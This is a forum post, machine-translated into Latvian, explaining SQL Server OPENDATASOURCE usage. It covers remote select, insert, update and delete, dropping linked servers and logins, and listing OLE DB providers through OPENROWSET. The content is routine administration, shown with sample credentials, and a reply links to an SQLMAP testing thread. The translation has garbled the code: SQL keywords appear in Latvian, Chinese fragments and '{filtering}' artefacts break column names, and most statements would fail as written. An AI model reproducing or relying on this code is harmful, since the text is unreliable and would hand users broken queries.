Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
ATLASIET * NO OPENDATASOURCE('SQLNCLI', 'Data Source=sql servera nosaukums vai IP adrese

Adrese; uid=lietotājvārds; pwd=parole').
Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Serveris=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Vai: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Vai: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data

Avots=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Vai: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data

avots=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Visu kolonnu importēšana
INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole').

Saskaņā ar bibliotēkas nosaukumu. Arhitektūras nosaukums. Tabulas nosaukums
SELECT * FROM lokālajā tabulā
/*
Piemēram: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
ATLASIET

* NO TB
*/
--3.3.2.2
Importēt norādītās kolonnas
INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole').

Saskaņā ar bibliotēkas nosaukumu. Arhitektūras nosaukums. Tabulas nosaukums (kolonna, kolonna...)
SELECT kolonna, kolonna... FROM vietējā tabula
/*
Piemēram: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(DIAPAZONS,LĪMENIS,Personas)
IZVĒLIETIES DIAPAZONU,LĪMENIS,Personas NO tb
*/
--Piezīme:
Lai iegūtu vairāk alternatīvu metožu, skatiet .3.1 vaicājuma piemēru, vienkārši nomainiet saturu rindiņu kopas funkcijā (OPENDATASOURCE).
--3.3.3 Atjaunināt piemēru
UPDATE OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole').
Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
SET lauks = 'vērtība'
Lauks WHERE = 'nosacījums'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET personas = 'g'
WHERE personas = 'a'
*/
--Piezīme:
Lai iegūtu vairāk alternatīvu metožu, skatiet .3.1 vaicājuma piemēru, vienkārši nomainiet saturu rindiņu kopas funkcijā (OPENDATASOURCE).
--3.3.4 Dzēst piemēru
DZĒST OPENDATASOURCE('SQLOLEDB', 'server=sql servera nosaukums vai IP adrese; uid=lietotājvārds; pwd=parole').
Datu bāzes nosaukums. Arhitektūras nosaukums. Tabulas nosaukums
WHERE lauka nosaukums='nosacījums'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
WHERE personas = 'g'
*/
- Piezīme: Vairāk alternatīvu

Skatiet .3.1 vaicājuma piemēru, vienkārši nomainiet saturu funkciju rowset (OPENDATASOURCE).
--
Saistītā servera metodes dzēšana
--Ja turpmāk vairs neizmantosiet saites informāciju, varat izdzēst saites informāciju
--4.1
Dzēst pieteikšanās informāciju (vai dzēst saistītā servera pieteikšanās vārdu karti)
EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/*
Piemēram: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Saistītā servera nosaukuma dzēšana
EXEC sp_dropserver 'LinkName','droplogins' -- ja ir norādīti droplogins,
Pieteikšanās karte ir jāizdzēš pirms saistītā servera dzēšanas
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Pievienots


Kā iegūt nodrošinātāja nosaukumu (EXEC master.). xp_enum_oledb_providers)
ATLASIET CAST([Nodrošinātāja nosaukums] KĀ

VARCHAR(30)) Nodrošinātāja nosaukums,
CAST([Nodrošinātāja descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
NO

OPENROWSET(
"SQLOLEDB",
'Serveris =.; Trusted_Connection=jā",
"IZSLĒDZIET FMTONLY;
IZPILDDIREKTORS

meistars.. xp_enum_oledb_providers"
)




Iepriekšējo:UCloud ievainojamības apstrādes process un atlīdzības informācija
Nākamo:Es šodien varu braukt ar vilcienu mājās, un es neesmu bijis mājās vairāk nekā pusgadu
Publicēts 27.09.2017 17:43:11 |
Ļoti detalizēts paldies
 Saimnieks| Publicēts 17.06.2023 11:12:11 |
Pārbaudiet SQL injekcijas testēšanu ar SQLMAP infiltrācijas rīku
https://www.itsvse.com/thread-10611-1-1.html
Atruna:
Visa programmatūra, programmēšanas materiāli vai raksti, ko publicē Code Farmer Network, ir paredzēti tikai mācību un pētniecības mērķiem; Iepriekš minēto saturu nedrīkst izmantot komerciāliem vai nelikumīgiem mērķiem, pretējā gadījumā lietotājiem ir jāuzņemas visas sekas. Informācija šajā vietnē nāk no interneta, un autortiesību strīdiem nav nekāda sakara ar šo vietni. Iepriekš minētais saturs ir pilnībā jāizdzēš no datora 24 stundu laikā pēc lejupielādes. Ja jums patīk programma, lūdzu, atbalstiet oriģinālu programmatūru, iegādājieties reģistrāciju un iegūstiet labākus oriģinālus pakalpojumus. Ja ir kādi pārkāpumi, lūdzu, sazinieties ar mums pa e-pastu.

Mail To:help@itsvse.com